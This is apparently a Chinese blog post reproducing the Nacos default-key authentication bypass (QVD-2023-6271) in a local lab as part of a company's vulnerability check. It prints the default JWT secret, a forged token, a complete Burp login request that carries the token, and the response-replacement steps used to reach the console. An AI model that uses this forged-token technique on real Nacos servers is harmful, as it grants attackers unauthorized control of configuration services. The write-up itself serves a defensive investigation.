Nacos身份绕过漏洞复现(QVD-2023-6271)
公司上级预警QVD-2023-6271,领导安排进行排查。
本着知己知彼的原则,我在本地将该漏洞复现出来。
漏洞原理:Nacos 在默认配置下未对 token.secret.key 进行修改,导致远程攻击者可以绕过密钥认证进入后台,造成系统受控等后果。
一、环境安装
vwmare 安装 win10环境 (略)
java安装
我这里使用的是jdk-11.0.2_windows-x64_bin.exe。
下载地址:jdk下载
安装后记得配置环境变量,这里需要注意一下环境变量,因为nacos是使用的JAVA_HOME作为java的环境变量,path里面添加java的路径作为环境变量是无效的。
需要在环境变量里面新建JAVA_HOME,指定jdk的安装位置。
nacos启动
下载地址:nacos
要下载nacos版本小于2.2.0,版本高于2.2.0的话漏洞就修复了,没法复现了。
我这里使用的是2.2.0版本。
解压后,接入D:\nacos\bin(对应的解压路径)的cmd,输入启动命令
startup.cmd -m standalone
访问登录界面。
二、获取cookie
时间戳准备
我们实现先准备个时间戳,需要大于当前系统时间,我现在时间是2023年4月23日,我构造了2023年4月24日的时间。
时间戳构造网页连接:时间戳
使用nacos默认key可进行jwt构造
nacos默认key(token.secret.key值的位置在conf下的application.properties)
SecretKey012345678901234567890123456789012345678901234567890123456789
PAYLOAD:DATA
{
"sub": "nacos",
"exp": 1682308800
}
jwt网址:json web tokens
得到了一串值。
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY4MjMwODgwMH0.VJRpZj-TyDFbPKioQTrrWbQ-HlX_ZhkcuT_RVRniAA4
burp发送数据包
通过构造数据包发送,可以在返回包获取到cookie。
其中用户名和密码都是自己构造的,实际上nacos不存在这个用户。
请求包
POST /nacos/v1/auth/users/login HTTP/1.1
Host: 192.168.30.100:8848
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://192.168.30.100:8848
Connection: close
Referer: http://192.168.30.100:8848/nacos/index.html
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY4MjMwODgwMH0.VJRpZj-TyDFbPKioQTrrWbQ-HlX_ZhkcuT_RVRniAA4
username=najcos&password=nacjos
三、 burpsuite修改数据包
开启代理,打开经典的火狐浏览器
截取登录数据包
将刚才返回包得到的构造的cookie和用户密码填入到数据包里面
右击选择Do intercept–>Response to request
点击Forward,发现这里报500错
没关系,找到之前的构造cookie的返回包
复制全部内容,粘贴到里面,点击Forward!!!
关闭代理,查看浏览器。
成功绕过。